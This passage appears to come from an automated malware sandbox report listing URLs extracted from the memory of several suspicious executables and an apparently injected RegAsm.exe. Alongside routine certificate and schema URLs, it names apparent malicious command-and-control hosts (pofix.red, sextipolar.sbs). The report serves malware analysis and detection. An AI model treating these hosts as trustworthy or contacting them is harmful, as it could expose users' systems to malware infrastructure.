Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: RegAsm.exe, 0000001E.00000002.3402168872.00000000015F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: RegAsm.exe, 0000001E.00000002.3402168872.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab0
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: RegAsm.exe, 00000019.00000002.3403705844.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adp/1.0/Vg2
Source: RegAsm.exe, 00000019.00000002.3403705844.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.exif/10g
Source: RegAsm.exe, 00000019.00000002.3403705844.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.microsofo/1.2/
Source: N_fzNzObxT0UJ9JQqz4nPKUC.exe, 00000016.00000002.2921277819.0000000000528000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsis.sf.ne
Source: N_fzNzObxT0UJ9JQqz4nPKUC.exe, 00000016.00000002.2920851315.000000000040A000.00000004.00000001.01000000.00000015.sdmp, N_fzNzObxT0UJ9JQqz4nPKUC.exe, 00000016.00000000.2596539752.000000000040A000.00000008.00000001.01000000.00000015.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000000.2596740001.000000000143F000.00000080.00000001.01000000.0000000E.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.00000000011A1000.00000040.00000001.01000000.0000000E.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000000.2596740001.000000000143F000.00000080.00000001.01000000.0000000E.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.00000000011A1000.00000040.00000001.01000000.0000000E.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000000.2596740001.000000000143F000.00000080.00000001.01000000.0000000E.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.00000000011A1000.00000040.00000001.01000000.0000000E.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pofix.red/upd/index.php
Source: tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pofix.red/upd/index.php8
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultp9N
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: TrIR3OjzF5zT6wur9yJ59R0V.exe, 00000015.00000002.3350644309.00000268C2FC9000.00000004.00000800.00020000.00000000.sdmp, TrIR3OjzF5zT6wur9yJ59R0V.exe, 00000015.00000002.3350644309.00000268C2E8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sextipolar.sbs/qwqw
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sextipolar.sbs/qwqw0/h
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sextipolar.sbs/qwqwG
Source: tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sextipolar.sbs/qwqwS
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sextipolar.sbs/qwqwi
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sextipolar.sbs/qwqww
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
